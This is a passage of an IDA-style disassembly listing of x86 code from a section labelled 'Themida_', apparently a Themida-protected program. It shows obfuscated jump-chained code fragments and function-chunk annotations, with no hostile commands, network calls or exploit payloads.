		mov	ebx, 3FAF40FAh
		sub	edx, ebx
		pop	ebx
		sub	edx, 52585346h
		add	edx, 3BA02E7Fh
		add	edx, eax
		sub	edx, 3BA02E7Fh
		push	eax
		mov	eax, 62E11A2Ah
		jmp	loc_594E66
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_594B3B:				; CODE XREF: Themida_:0058C992j
		add	edi, eax
		add	edi, 451B6852h
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_58F3DB
; ---------------------------------------------------------------------------


loc_594B59:				; CODE XREF: Themida_:00595097j
		add	ebx, 0F1B3F7C4h
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_592C48
; ---------------------------------------------------------------------------


loc_594B6D:				; CODE XREF: Themida_:00597437j
		push	ebx
		mov	bh, 63h
		add	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		add	al, dl
		pop	edx
		push	4435h
		jmp	loc_58BDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_594B88:				; CODE XREF: sub_58E66C+874Aj
		pop	edx
		shl	edx, 1
		jmp	loc_59535D
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_594B90:				; CODE XREF: Themida_:00591EBEj
		add	esi, 4
		push	ecx
		mov	ecx, 7E0E06E3h
		xor	ecx, 432836A1h
		push	edi
		mov	edi, 33053765h
		shr	edi, 1
		shl	edi, 2
		jmp	loc_58F005
; ---------------------------------------------------------------------------


loc_594BB2:				; CODE XREF: Themida_:00591997j
		push	ebp
		mov	ebp, 2D21405Fh
		jmp	loc_5953B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594BBD:				; CODE XREF: sub_596082+9Bj
		sub	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 8000h
		and	eax, ebx
		mov	ebx, [esp+0Ch+var_C]
		push	5822h
		mov	[esp+10h+var_10], edx
		jmp	loc_59511E
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_594BDE:				; CODE XREF: Themida_:0058C16Bj
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594BE3:				; CODE XREF: sub_596082-5730j
		and	[edi+1Ch], edx
		push	dword ptr [esp+0]
		mov	edx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_593851
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_594BF4:				; CODE XREF: Themida_:0058CF9Cj
		movzx	eax, al
		mov	dx, [esp]
		jmp	loc_58C108
; ---------------------------------------------------------------------------


loc_594C00:				; CODE XREF: Themida_:0058F891j
		xor	ebx, 89B5A184h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	6F8Ah
		mov	[esp], ebx
		push	edi
		mov	edi, 41F65F6Dh
		add	edi, 29FB7771h
		jo	loc_594625
		inc	edi
		jmp	loc_5951FF
; ---------------------------------------------------------------------------


loc_594C31:				; CODE XREF: Themida_:0058F3ACj
					; Themida_:00592C0Cj
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_594C3E:				; CODE XREF: sub_58E66C-1B79j
		mov	ax, word ptr [esp+4+var_4]
		push	48D6h
		mov	[esp+8+var_8], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		push	ecx
		push	eax
		mov	eax, 3E344A60h
		mov	ecx, eax
		jmp	loc_5908D3
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594C61:				; CODE XREF: sub_596082-1CBAj
		add	bl, dl
		pop	edx
		sub	bl, dh
		push	cx
		push	eax
		jmp	loc_58B727
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_594C6E:				; CODE XREF: Themida_:00592182j
		add	edx, 2AAD78F4h
		jmp	loc_59767C
; ---------------------------------------------------------------------------


loc_594C79:				; CODE XREF: Themida_:0059316Fj
		add	al, bh
		pop	ebx
		add	al, 46h
		add	al, dh
		jmp	loc_58C0E6
; ---------------------------------------------------------------------------


loc_594C85:				; CODE XREF: Themida_:0058A5CAj
		inc	edx
		sub	edx, 7E0B0D8Ch
		jmp	loc_592A3C
; ---------------------------------------------------------------------------


loc_594C91:				; CODE XREF: Themida_:0058D4D1j
		xor	edx, [esp]
		pop	esp
		bt	[esp], ax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_594CA0:				; CODE XREF: sub_58AE7C+A414j
		xor	bl, dh
		pop	edx
		add	bl, 1
		jmp	loc_592FA9
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------


loc_594CAB:				; CODE XREF: Themida_:0058BC1Ej
					; Themida_:0058DA11j
		and	edx, 393B38B7h
		sub	edx, 132EFE1Fh
		add	eax, edx
		pop	edx
		add	eax, 10C84968h
		add	eax, ebx
		sub	eax, 10C84968h
		push	ebp
		jmp	loc_592E52
; ---------------------------------------------------------------------------


loc_594CCC:				; CODE XREF: Themida_:0059688Aj
		push	bx
		mov	bh, 0B3h
		jmp	loc_58C6C0
; ---------------------------------------------------------------------------
		push	6CA0h
		mov	[esp], edx
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_594CE2:				; CODE XREF: Themida_:0058ED0Aj
		jmp	loc_58E60B
; ---------------------------------------------------------------------------


loc_594CE7:				; CODE XREF: Themida_:00593FD9j
		mov	edi, 1255359Fh
		mov	edx, 7D704BC2h
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		dec	edx
		add	edx, 30911B55h
		push	0
		jmp	loc_58DB8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E65


loc_594D0A:				; CODE XREF: sub_592E65+2395j
		add	ebx, 0A0E48D6h
		sub	ebx, 22DF1C14h
		add	ebx, ebp
		push	esi
		mov	esi, 22DF1C14h
		add	ebx, esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_590A89
; END OF FUNCTION CHUNK	FOR sub_592E65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_594D2B:				; CODE XREF: sub_591C99-3459j
		sub	edx, 7D463BA6h
		sub	edx, 1417396Ah
		pop	eax
		xchg	edx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		mov	word ptr [esp+2+var_4+2], bx
		mov	bl, 0F3h
		jmp	loc_595B9D
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5960E6
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4575h
		mov	[esp], eax
		jmp	loc_58F750
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594D6A:				; CODE XREF: sub_596082+12Aj
		xor	[esp+0Ch+var_C], ecx
		xor	ecx, [esp+0Ch+var_C]
		jmp	loc_58AB7B
; END OF FUNCTION CHUNK	FOR sub_596082

; =============== S U B	R O U T	I N E =======================================



sub_594D75	proc near		; CODE XREF: sub_58E91C+7949j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058E1E0 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058E288 SIZE 00000025 BYTES

		push	ebx
		mov	ebx, 3475028h
		and	ebx, 3D1C768Ah
		xor	ebx, 206A07E9h
		shr	ebx, 4
		add	ebx, 0FDE91A86h
		add	edi, ebx
		jmp	loc_58E288
sub_594D75	endp

; ---------------------------------------------------------------------------


loc_594D97:				; CODE XREF: Themida_:00594F63j
		mov	eax, 3B112FD3h
		shl	eax, 5
		shr	eax, 7
		jnp	loc_58B82E
		sub	eax, 68AC424Fh
		jns	loc_5906DD
		mov	ch, dl


loc_594DB5:				; CODE XREF: Themida_:005952AFj
		mov	ebp, 2
		add	ecx, ebp
		pop	ebp
		push	ecx
		jmp	loc_597703
; ---------------------------------------------------------------------------


loc_594DC3:				; CODE XREF: Themida_:0059017Dj
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_595B83
; ---------------------------------------------------------------------------


loc_594DE6:				; CODE XREF: Themida_:00591AFAj
		sub	esp, 4
		jmp	loc_5964FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594DF1:				; CODE XREF: sub_596082-1E83j
		not	ebp
		jmp	loc_58AF51
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_594DF8:				; CODE XREF: sub_58AE7C+4751j
		pop	ecx
		mov	bl, 0ECh
		neg	bl
		jbe	loc_591F1C
		not	bl
		push	eax
		jmp	loc_596692
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
		push	6155h
		pop	ebx


loc_594E11:				; CODE XREF: Themida_:0058E58Dj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	6175h
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_5971D9
; ---------------------------------------------------------------------------


loc_594E38:				; CODE XREF: Themida_:00595223j
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	ebp
		mov	ebp, 78BD1CACh
		mov	edi, ebp
		pop	ebp
		and	edi, 3B0A516Fh
		sub	edi, 215F06AFh
		neg	edi
		neg	edi
		xor	edi, 16A90979h
		add	eax, edi
		jmp	loc_592DEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594E66:				; CODE XREF: sub_596082-154Cj
		dec	eax
		xor	eax, 17324A5Dh
		jmp	loc_593EB7
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_594E71:				; CODE XREF: sub_58E66C+273Aj
		xchg	edi, [esp+4+var_4]
		jmp	loc_58C239
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_594E79:				; CODE XREF: Themida_:005933EAj
		push	ebp
		mov	ebp, 1B920F6Ch
		jmp	loc_596E01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_594E84:				; CODE XREF: sub_593009+3590j
		push	esi
		push	esp
		jmp	loc_593C06
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594E8B:				; CODE XREF: sub_596082-53CEj
		mov	edx, 2
		add	ecx, 3A297974h
		sub	ecx, edx
		sub	ecx, 3A297974h
		jmp	loc_594662
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_594EA3:				; CODE XREF: Themida_:0058B6D6j
		mov	eax, 624A0677h
		jmp	loc_5917A9
; ---------------------------------------------------------------------------


loc_594EAD:				; CODE XREF: Themida_:0058B81Aj
		add	dl, 0C9h
		and	dl, 7Ah
		jle	loc_58CDCD
		inc	dl
		jz	loc_596BB2
		jmp	loc_58D562

; =============== S U B	R O U T	I N E =======================================



sub_594EC6	proc near		; CODE XREF: sub_58A5F7+6123j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058B9F3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058CFFD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E804 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E94E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058E9B8 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00590587 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592A56 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059376B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00593D35 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00594881 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00595103 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005955B3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00596AD8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596BA7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596CD6 SIZE 0000000E BYTES

		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		push	ebp
		push	ebx
		push	edi
		mov	edi, 1
		mov	ebx, edi
		jmp	loc_596BA7
sub_594EC6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_594EE8:				; CODE XREF: Themida_:0058A574j
		xor	edx, [esp]
		jmp	loc_58C520
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_594EF0:				; CODE XREF: sub_596FD2-CA3Bj
		add	edi, 322BF220h
		xor	esi, edi
		jmp	loc_58B36B
; END OF FUNCTION CHUNK	FOR sub_596FD2
; ---------------------------------------------------------------------------


loc_594EFD:				; CODE XREF: Themida_:0058C4F7j
		push	1599h
		mov	[esp], ecx
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_594F0A:				; CODE XREF: Themida_:0058ADD5j
		sub	edx, esi
		add	edx, 382F178Ah
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_595BAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_594F32:				; CODE XREF: sub_58E66C+3336j
		xchg	ebp, [esp+4+var_4]
		pop	esp
		shl	dword ptr [esp+0], cl
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58E66C

; =============== S U B	R O U T	I N E =======================================



sub_594F3F	proc near		; CODE XREF: sub_58E2D6-1F12j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058AD45 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058B34F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058CCC8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D208 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058DBE6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E00C SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0058E378 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058F270 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059023B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059030A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591855 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592D32 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593BA9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00593D62 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00594A98 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00595974 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00595F0D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00595FEE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005966B8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059683B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059685E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596F64 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005973B4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059776F SIZE 00000026 BYTES

		sub	esp, 4
		jmp	loc_58E00C
sub_594F3F	endp

; ---------------------------------------------------------------------------


loc_594F47:				; CODE XREF: Themida_:00592A95j
		add	edx, 45BE090Eh
		jmp	loc_596C1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_594F52:				; CODE XREF: sub_591C99+1A35j
		mov	[edi+eax*4+1], ch
		pop	ecx
		pop	edx
		push	[esp-0Ah+arg_0+2]
		jmp	loc_5926D8
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_594F60:				; CODE XREF: Themida_:00591278j
		mov	[esp], eax
		jmp	loc_594D97
; ---------------------------------------------------------------------------


loc_594F68:				; CODE XREF: Themida_:00593639j
		push	edx
		mov	edx, ecx
		mov	esi, edx
		jmp	loc_5966CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CE72


loc_594F72:				; CODE XREF: sub_58CE72+Fj
		push	edx
		jmp	loc_596E59
; END OF FUNCTION CHUNK	FOR sub_58CE72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_594F78:				; CODE XREF: sub_58E66C-3689j
					; Themida_:0058B62Aj ...
		add	ecx, eax
		jmp	loc_595BDF
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_594F7F:				; CODE XREF: Themida_:0059278Ej
		add	ebx, 0FFA5FB78h
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 1F0713ABh
		sub	ebx, 1F0713A7h
		jmp	loc_593910
; ---------------------------------------------------------------------------


loc_594FA1:				; CODE XREF: Themida_:0058B677j
		pop	ecx
		sub	esi, 0C2C9D4D4h
		push	esi
		add	dword ptr [esp], 5FB162BCh
		jmp	loc_58A7F4
; ---------------------------------------------------------------------------


loc_594FB5:				; CODE XREF: Themida_:0058C71Aj
		push	73D06D96h
		pop	edx
		xor	edx, 5E807F12h
		jns	loc_58AC82
		sub	edx, 59CE08EAh
		jl	loc_59157F
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_594FD4:				; CODE XREF: sub_591C99-1263j
					; Themida_:loc_597254j
		push	edi
		mov	edi, 692C1D69h
		sub	edi, 5085046h
		push	ecx
		mov	ecx, 12744499h
		jmp	loc_5971B0
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_594FEB:				; CODE XREF: Themida_:0058DA4Cj
		pop	ebp
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_58D82A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59500B:				; CODE XREF: sub_596082-39FFj
					; sub_58E66C+6CFDj
		add	ebp, 4
		push	ecx
		sub	esp, 4
		mov	[esp+20h+var_20], edi
		mov	edi, 4D9947A4h
		dec	edi
		jnz	loc_5957D4
		inc	edi
		jz	loc_59502F
		push	esi
		mov	bl, al
		push	edi


loc_59502F:				; CODE XREF: Themida_:0058B032j
					; sub_596082-105Dj
		pop	edi
		add	esi, 1003773Fh
		pop	ecx
		xchg	esi, [esp+20h+var_20]
		pop	esp
		push	[esp+1Ch+var_1C]
		mov	ecx, [esp+20h+var_20]
		jmp	loc_592B93
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_595046:				; CODE XREF: Themida_:0058FA81j
		push	ecx
		mov	ecx, 1035E12h
		sub	ecx, 619A53ABh
		add	ecx, 0D0973D49h
		add	edi, ecx
		pop	ecx
		add	edi, eax
		sub	edi, 700047B0h
		pop	eax
		push	esi
		mov	esi, 2FF86B57h
		push	7DB6h
		mov	[esp], edi
		jmp	loc_59016B
; ---------------------------------------------------------------------------


loc_595077:				; CODE XREF: Themida_:005938C7j
		xor	al, bl
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0A0h
		jmp	loc_58EA34
; ---------------------------------------------------------------------------


loc_59508A:				; CODE XREF: Themida_:0058C1D0j
		pop	edi
		push	ebx
		mov	ebx, 1F7D18C8h
		and	ebx, 6ECE0B45h
		jmp	loc_594B59
; ---------------------------------------------------------------------------


loc_59509C:				; CODE XREF: Themida_:0058F6CEj
					; Themida_:00595A31j
		xchg	ebx, edi
		add	edi, 7BFE4D80h
		add	ebp, edi
		jmp	loc_5905BC
; ---------------------------------------------------------------------------


loc_5950AB:				; CODE XREF: Themida_:00590AECj
		inc	bh
		jo	loc_58DE6A
		add	bh, 6Fh
		sub	al, bh
		pop	bx
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_59033E
; ---------------------------------------------------------------------------


loc_5950CE:				; CODE XREF: Themida_:0059046Aj
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_596443
; ---------------------------------------------------------------------------


loc_5950D8:				; CODE XREF: Themida_:0058C2E5j
		xor	eax, 28E561FEh
		and	eax, 7FD41096h
		xor	eax, 34CD282Ah
		sub	eax, 0A2632009h
		mov	ebp, eax
		pop	eax
		xor	ebx, ebp
		pop	ebp
		sub	esi, 0B6077Ch
		push	eax
		mov	eax, 602D62A0h
		jmp	loc_58E54A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_595103:				; CODE XREF: sub_594EC6-1182j
		sub	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		jmp	loc_58B9F3
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------


loc_59510E:				; CODE XREF: Themida_:00592CBCj
		push	eax
		jmp	loc_593D0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595114:				; CODE XREF: Themida_:0058B3F2j
					; sub_596082-9FA1j ...
		mov	ch, 50h
		sub	ch, 81h
		jmp	loc_596CEC
; ---------------------------------------------------------------------------


loc_59511E:				; CODE XREF: sub_596082-14A9j
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp+14h+var_14], ebx
		push	edi
		mov	edi, 609A7295h
		mov	ebx, 8737DD05h
		jmp	loc_590796
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_595136:				; CODE XREF: Themida_:005939C3j
		jmp	loc_591E57
; ---------------------------------------------------------------------------


loc_59513B:				; CODE XREF: Themida_:0058DDD1j
		push	ebx
		jmp	loc_594A98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595141:				; CODE XREF: sub_596082-32D4j
		shl	bx, 4
		jns	loc_596925
		add	bx, 6C5Ch
		mov	si, bx
		mov	ebp, ebx
; END OF FUNCTION CHUNK	FOR sub_596082
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_595155:				; CODE XREF: sub_5F45E7-62A2Bj
		neg	ebx
		jmp	loc_59302F
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_59515C:				; CODE XREF: Themida_:loc_591678j
		or	esi, 70927420h
		jmp	loc_5943A0
; ---------------------------------------------------------------------------


loc_595167:				; CODE XREF: Themida_:loc_591FC3j
		shr	eax, 6
		or	eax, 35C57898h
		jmp	loc_593935
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593983


loc_595174:				; CODE XREF: sub_593983-64BEj
		shl	edx, 1
		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	loc_58C441
; END OF FUNCTION CHUNK	FOR sub_593983
; ---------------------------------------------------------------------------


loc_595184:				; CODE XREF: Themida_:00590140j
		push	edi
		push	eax
		mov	eax, 22B2776h
		mov	edi, eax
		pop	eax
		jmp	loc_59159F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595193:				; CODE XREF: sub_596082-4682j
		mov	cl, dl
		pop	edx
		jmp	loc_591A59
; ---------------------------------------------------------------------------


loc_59519B:				; CODE XREF: Themida_:0058B64Fj
					; sub_596082-69BDj
		pop	ebx
		sub	edx, 2
		xchg	edx, [esp-0Ch+arg_8]
		pop	esp
		mov	word ptr [esp-10h+arg_C], ax
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5951AC:				; CODE XREF: Themida_:00593BECj
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5951C8:				; CODE XREF: sub_58D966+3587j
					; sub_596082-34E7j
		mov	edi, esp
		push	esi
		mov	esi, 4
		jmp	loc_5911F1
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5951D5:				; CODE XREF: Themida_:00592D0Bj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_590DF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E65


loc_5951E6:				; CODE XREF: sub_592E65+2j
		mov	ecx, 55393BEBh
		sub	ecx, 9D05322h
		add	ecx, 84A17E1h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_594D0A
; END OF FUNCTION CHUNK	FOR sub_592E65
; ---------------------------------------------------------------------------


loc_5951FF:				; CODE XREF: Themida_:00594C2Cj
		jle	loc_58DBE6
		jmp	loc_59710E
; ---------------------------------------------------------------------------


loc_59520A:				; CODE XREF: Themida_:0058DE1Dj
		mov	esi, 4
		sub	dword ptr [esp+4], 72F03D0Ah
		add	[esp+4], esi
		add	dword ptr [esp+4], 72F03D0Ah
		jmp	loc_594E38
; ---------------------------------------------------------------------------


loc_595228:				; CODE XREF: Themida_:00591F2Cj
		push	718902D6h
		pop	edx
		neg	edx
		jl	loc_58BD5F
		add	edx, 77546A89h
		jmp	loc_592B3F
; ---------------------------------------------------------------------------
		mov	edi, ecx
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_595243:				; CODE XREF: sub_596BF6-5561j
		add	ebp, 4DF67C8Fh
		mov	edi, ebp
		pop	ebp
		jmp	loc_58C8F4
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595251:				; CODE XREF: sub_596082:loc_59638Dj
		add	ecx, 8F253570h
		push	edx
		mov	edx, 0ECBCD39Ah
		sub	ecx, edx
		pop	edx
		add	ebp, ecx
		pop	ecx
		dec	ebp
		sub	ebp, 0F78BB735h
		push	eax
		jmp	loc_591A23
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597088


loc_595270:				; CODE XREF: sub_597088-A395j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_593465
; END OF FUNCTION CHUNK	FOR sub_597088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_59527E:				; CODE XREF: sub_596BF6-413Bj
		xchg	ebp, [esp-0Ch+arg_8]
		pop	esp
		mov	[esp+0], edx
		jmp	loc_592C79
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_59528A:				; CODE XREF: sub_58AE7C+317Bj
		add	esp, 4
		jmp	loc_594CA0
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------


loc_595295:				; CODE XREF: Themida_:0058FCD1j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esp
		jmp	loc_59244C
; ---------------------------------------------------------------------------


loc_5952A4:				; CODE XREF: Themida_:0058DCE8j
		xchg	edx, [esp]
		pop	esp
		add	ecx, 4
		push	ebp
		jmp	loc_594DB5

; =============== S U B	R O U T	I N E =======================================



sub_5952B4	proc near		; CODE XREF: sub_593009+3372j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058B08D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058DE2F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DF3A SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058EFF3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FE77 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00592BA0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594080 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595E96 SIZE 0000000A BYTES

		push	ebp
		jmp	loc_58DF3A
sub_5952B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5952BA:				; CODE XREF: Themida_:005905CAj
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_58C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_5952C3:				; CODE XREF: sub_596082-88B8j
					; sub_5F45E7-60890j
		xor	[esp+2Ch+var_2C], eax
		jmp	loc_591AE5
